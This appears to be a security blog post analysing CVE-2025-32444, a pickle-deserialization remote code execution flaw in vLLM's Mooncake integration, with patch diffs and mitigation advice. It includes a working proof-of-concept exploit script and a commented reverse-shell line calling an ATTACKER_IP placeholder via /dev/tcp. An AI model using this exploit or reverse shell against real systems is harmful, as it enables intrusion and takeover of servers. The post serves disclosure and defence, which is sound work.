RCE

CVE-2025-32444: Remote Code Execution Vulnerability in vLLM Mooncake Integration

Robert Morgan

Robert Morgan

— 8 min read

Hold onto your GPUs, folks! We're diving into CVE-2025-32444, a nasty Remote Code Execution (RCE) vulnerability lurking within the popular Large Language Model (LLM) serving framework, vLLM. If you're using vLLM's Mooncake integration, this one needs your immediate attention. Let's unpack this vulnerability, see how it works, and learn how to protect your systems.

TL;DR / Executive Summary

What's the issue? CVE-2025-32444 is a Remote Code Execution (RCE) vulnerability in vLLM.
Who is affected? vLLM instances version 0.6.5 up to (but not including) 0.8.5 that specifically use the Mooncake integration. If you're not using Mooncake, you can breathe a little easier, but patching is always good practice.
How bad is it? RCE is generally considered High to Critical severity (CVSS score not yet assigned at time of writing, but expect it to be high). An attacker could potentially take full control of the affected vLLM instance.
What's the cause? The vulnerability stems from using Python's notoriously insecure pickle serialization format over unsecured ZeroMQ (ZMQ) sockets within the Mooncake integration. These sockets were also listening on all network interfaces (*), making them easier targets.
How do I fix it? Upgrade vLLM to version 0.8.5 or later. If Mooncake isn't essential, ensure it's disabled or restrict network access to the ZMQ ports used by vLLM.

Introduction: LLMs, vLLM, and the Mysterious Mooncake

The world runs on AI now, or at least, it feels like it's heading that way. Powering many of these AI applications, especially those involving Large Language Models (LLMs), are sophisticated serving frameworks. vLLM is a heavyweight contender in this space, known for its high throughput and efficiency in serving LLMs. It's designed to make running these massive models faster and more memory-friendly.

To achieve this speed, vLLM employs various techniques, including distributed inference where parts of the model or workload run across multiple processes or machines. This often requires inter-process communication (IPC). One such mechanism within vLLM involves an integration called "Mooncake," which utilizes ZeroMQ (a high-performance asynchronous messaging library) for communication.

Now, why should you, a busy engineer or security pro, care about CVE-2025-32444? Because RCE in a core infrastructure component like an LLM serving engine is about as welcome as a bull in a china shop. It means an attacker could potentially execute arbitrary commands on your server, steal sensitive data (like proprietary models or user prompts), disrupt service, or use your server as a launchpad for further attacks within your network. If you're serving LLMs with vLLM and using Mooncake, this isn't just a theoretical risk – it's a ticking pickle bomb.

Technical Deep Dive: The Perils of Pickle and Open Doors

Let's get our hands dirty and look under the hood.

The Root Cause: Pickle Deserialization

The core of CVE-2025-32444 lies in the dangerous practice of deserializing untrusted data using Python's pickle module. Pickling is Python's way of converting a Python object hierarchy into a byte stream (serialization), and unpickling is the reverse (deserialization).

Why is pickle so dangerous? Because the pickle format is essentially a mini-program. When you pickle.loads() data, the Python interpreter executes the instructions embedded within that data to reconstruct the object. A cleverly crafted pickle payload can instruct the interpreter to execute arbitrary code.

Think of it like this: using a safe serialization format like JSON is like receiving a letter with specific, structured information (key-value pairs). Using pickle is like receiving a mysterious package containing a complex machine with instructions saying "Just assemble and run this!" You have no idea what the machine really does until it's running, and by then, it might be too late.

The Vulnerable Code

The specific vulnerability resides in the mooncake_pipe.py file within vLLM's distributed key-value (KV) transfer mechanism used by the Mooncake integration. The smoking gun is the use of recv_pyobj() from the pyzmq library:

# File: vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py
# Vulnerable code (prior to patch) in the wait_for_ack method and recv_bytes method

# Example from wait_for_ack (simplified context):
def wait_for_ack(self, src_ptr: int, length: int) -> None:
    """Asynchronously wait for ACK from the receiver."""
    # VULNERABLE LINE: recv_pyobj implicitly calls pickle.loads()
    ack = self.sender_ack.recv_pyobj()
    if ack != b'ACK':
        logger.error("Failed to receive ACK from the receiver")

# Example from recv_bytes (simplified context):
def recv_bytes(self) -> bytes:
    """Receive bytes from the remote process."""
    # VULNERABLE LINE: recv_pyobj implicitly calls pickle.loads()
    src_ptr, length = self.receiver_socket.recv_pyobj()
    # ... rest of the function ...
    self.receiver_ack.send_pyobj(b'ACK') # Also uses send_pyobj
    # ...
    return ret

The pyzmq documentation for recv_pyobj() clearly states it uses pickle by default. Any attacker who can send data to this ZeroMQ socket can send a malicious pickle payload, which recv_pyobj() will happily deserialize and execute.

Attack Vector and Business Impact

Adding fuel to the fire, the vulnerable ZeroMQ sockets were configured to bind to tcp://*:PORT. The asterisk (*) means the socket listens on all available network interfaces (0.0.0.0). This significantly increases the attack surface. If the vLLM instance is reachable from less trusted networks (or even the internet, shudder), an attacker doesn't need to be on the local machine; they just need network connectivity to the right port.

The potential business impact includes:

  • Data Exfiltration: Stealing sensitive prompts, user data, or proprietary model weights.
  • Model Tampering: Modifying model behavior or poisoning results.
  • Denial of Service (DoS): Crashing the vLLM service.
  • Complete System Compromise: Gaining a foothold for lateral movement within the network.
  • Resource Hijacking: Using your expensive GPU resources for unauthorized tasks (e.g., crypto mining).

This vulnerability is noted as being similar to a previous one, GHSA-x3m8-f7g5-qhm7, highlighting that secure IPC is a recurring challenge.

Proof of Concept (Simplified Example)

Let's demonstrate how easy it is to exploit insecure pickle deserialization over ZeroMQ.

Disclaimer: This is a simplified PoC for educational purposes only. Do not run this against systems you do not own.

Attacker Script (exploit.py)

import zmq
import pickle
import os

# Malicious payload class
class RCEPayload:
    def __reduce__(self):
        # Command to execute on the target
        cmd = ('touch /tmp/hacked_by_pickle') # Benign example: creates a file
        # cmd = ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1') # Malicious example: reverse shell
        return (os.system, (cmd,))

# Target ZeroMQ socket address (replace with actual target)
TARGET_HOST = "TARGET_IP" # e.g., "192.168.1.100"
TARGET_PORT = 5555 # Replace with the actual port used by mooncake_pipe's receiver_socket or sender_ack

context = zmq.Context()
socket = context.socket(zmq.REQ) # Or PUSH/DEALER depending on the target socket type
# Note: The actual socket type and connection/binding logic might differ based
# on the specific vulnerable socket (sender_ack vs receiver_socket) and role (kv_rank=0 or not).
# This PoC assumes a simple REQ/REP pattern for demonstration. Adjust as needed.
socket.connect(f"tcp://{TARGET_HOST}:{TARGET_PORT}")

print(f"[*] Connecting to tcp://{TARGET_HOST}:{TARGET_PORT}")

# Create the malicious object
payload_obj = RCEPayload()

# Send the pickled object using send_pyobj (simulating the vulnerable peer)
# In a real attack, you'd target the socket using recv_pyobj()
# For this PoC, we assume we can *send* a pyobj to a vulnerable receiver.
# If targeting sender_ack.recv_pyobj(), the attacker might need to act as the 'receiver' process.
# If targeting receiver_socket.recv_pyobj(), the attacker acts as the 'sender'.

# Let's assume we target receiver_socket.recv_pyobj() which expects (src_ptr, length) tuple
# We can craft a pickle that returns our RCEPayload when unpickled.
# A simpler direct attack might target sender_ack.recv_pyobj() which just expects an ACK.
malicious_ack_payload = RCEPayload()

print("[*] Crafting malicious pickle payload...")
# Note: send_pyobj pickles the object for you.
print(f"[*] Sending malicious payload to trigger recv_pyobj on the target...")
socket.send_pyobj(malicious_ack_payload) # Sending the malicious object directly

print("[*] Waiting for reply (may hang if exploit successful and target doesn't reply)...")
try:
    # Wait for a potential reply, might timeout or error if exploit disrupts flow
    reply = socket.recv(zmq.NOBLOCK)
    print(f"[*] Received reply (unexpected?): {reply}")
except zmq.Again:
    print("[*] No reply received (exploit might have executed). Check target system.")

socket.close()
context.term()
print("[*] Exploit attempt finished.")

Target Listener (Simulating Vulnerable vLLM - vulnerable_listener.py)

import zmq
import pickle # Implicitly used by recv_pyobj

# Simulate the vulnerable ZeroMQ socket listening
LISTEN_IP = "0.0.0.0" # Listening on all interfaces (like the vulnerable code)
LISTEN_PORT = 5555 # Must match the port targeted by the exploit

context = zmq.Context()
# Use REP socket to pair with the REQ socket in the PoC exploit
socket = context.socket(zmq.REP)
socket.bind(f"tcp://{LISTEN_IP}:{LISTEN_PORT}")

print(f"[*] Vulnerable listener started on tcp://{LISTEN_IP}:{LISTEN_PORT}")
print("[*] Waiting for incoming connection...")

while True:
    try:
        # VULNERABLE OPERATION: Receiving pickled object
        received_object = socket.recv_pyobj()
        print(f"[*] Received object (type: {type(received_object)}). Deserialization triggered code execution if malicious.")

        # Send a dummy reply back to the attacker
        socket.send(b"OK")

    except Exception as e:
        print(f"[!] Error receiving or processing object: {e}")
        # In a real scenario, RCE might crash the process here or before replying
        # Send an error reply or break loop
        try:
            socket.send(b"ERROR")
        except zmq.ZMQError:
            pass # Socket might be closed
        break # Exit on error

print("[*] Listener stopped.")
socket.close()
context.term()

If the attacker runs exploit.py targeting the machine running vulnerable_listener.py, the os.system command within RCEPayload.__reduce__ will execute on the listener machine when socket.recv_pyobj() deserializes the object. You should find an empty file named hacked_by_pickle in the /tmp/ directory on the target.

Mitigation and Remediation: Patching the Pickle Problem

Fortunately, the vLLM team addressed this swiftly.

  1. Upgrade vLLM: The primary fix is to upgrade to vLLM version 0.8.5 or later. This version contains the necessary patches.
    pip install --upgrade vllm>=0.8.5
  2. Restrict Network Access: As a defense-in-depth measure (or if immediate patching isn't possible), use firewalls (like iptables, ufw, or cloud security groups) to strictly limit network access to the ports used by vLLM's ZeroMQ sockets (check your vLLM configuration for specific ports). Only allow connections from trusted hosts required for the distributed setup.
  3. Disable Mooncake if Unused: The advisory explicitly states that instances not using the Mooncake integration are not vulnerable. Double-check your configuration and ensure this integration is disabled if you don't need it.

Patch Analysis: What Changed?

The patch (commit a5450f11c95847cf51a17207af9a3ca5ab569b2c) implements two key changes:

  1. Safe Serialization: It replaces all instances of send_pyobj() and recv_pyobj() in mooncake_pipe.py with safer alternatives like send(), recv(), send_multipart(), and recv_multipart(). Instead of sending raw pickled Python objects, it now sends simple byte strings (like b'ACK') or uses struct.pack to serialize basic data types (like integers for pointers and lengths) into byte streams. This completely eliminates the dangerous implicit pickle.loads() call.

    -        ack = self.sender_ack.recv_pyobj()
+        ack = self.sender_ack.recv()
         if ack != b'ACK':
             logger.error("Failed to receive ACK from the receiver")

-        self.sender_socket.send_pyobj((src_ptr, length))
+        self.sender_socket.send_multipart(
+            [struct.pack("!Q", src_ptr),
+             struct.pack("!Q", length)])

-        src_ptr, length = self.receiver_socket.recv_pyobj()
+        data = self.receiver_socket.recv_multipart()
+        src_ptr = struct.unpack("!Q", data[0])[0]
+        length = struct.unpack("!Q", data[1])[0]

-        self.receiver_ack.send_pyobj(b'ACK')
+        self.receiver_ack.send(b'ACK')

  2. Restricted Socket Binding: The patch changes the ZeroMQ socket binding from tcp://*:{port} to tcp://{host}:{port}, using the specific hostnames (p_host, d_host) provided in the configuration. This prevents the sockets from listening on all network interfaces, significantly reducing the attack surface by default.

    -            self.sender_socket.bind(f"tcp://*:{p_rank_offset + 1}")
+            self.sender_socket.bind(f"tcp://{p_host}:{p_rank_offset + 1}")
# ... similar changes for other bind() calls

These changes effectively neutralize the RCE vector by removing the unsafe deserialization and limiting network exposure.

Timeline

  • Discovery Date: Not explicitly mentioned in the advisory.
  • Vendor Notification: Assumed responsible disclosure occurred prior to the patch.
  • Patch Commit: a5450f11c95847cf51a17207af9a3ca5ab569b2c (Appears merged around April 2025, based on surrounding activity, though exact date not on commit itself)
  • Patched Version Release (v0.8.5): Likely shortly before or around the disclosure date.
  • Public Disclosure Date: April 29, 2025 (based on GitHub Advisory publish date)

Lessons Learned: Beyond the Patch

This CVE serves as a potent reminder of several key security principles:

  1. Deserialization is Dangerous: Never deserialize data from untrusted sources without extreme caution and validation. pickle is particularly hazardous; prefer safer formats like JSON, Protobuf, or MessagePack for IPC or data exchange, especially over networks.
  2. Secure Defaults Matter: Binding network services to 0.0.0.0 (*) should be a conscious choice, not the default. Defaulting to localhost or requiring explicit configuration for external interfaces is much safer. The patch correcting this was a crucial hardening step.
  3. Assume Network Exposure: Even internal services can become exposed through misconfiguration, VPNs, or network changes. Design IPC mechanisms defensively, assuming potential attacker access. Authentication and encryption (like using ZMQ's security mechanisms) should be considered.
  4. Dependency Awareness: Complex systems like vLLM rely on many libraries (like PyZMQ). Understanding the security implications of the functions provided by these libraries (like recv_pyobj) is vital.

Key Takeaway: The allure of powerful features (like efficient IPC via Mooncake) must always be balanced with robust security practices. Even seemingly internal components can become attack vectors if not properly secured.

Stay vigilant, keep your systems patched, and maybe think twice before accepting mysterious pickles from strangers over the network!

References and Further Reading

What other "convenient" but potentially insecure practices might be lurking in complex AI/ML infrastructure? Share your thoughts!

Read more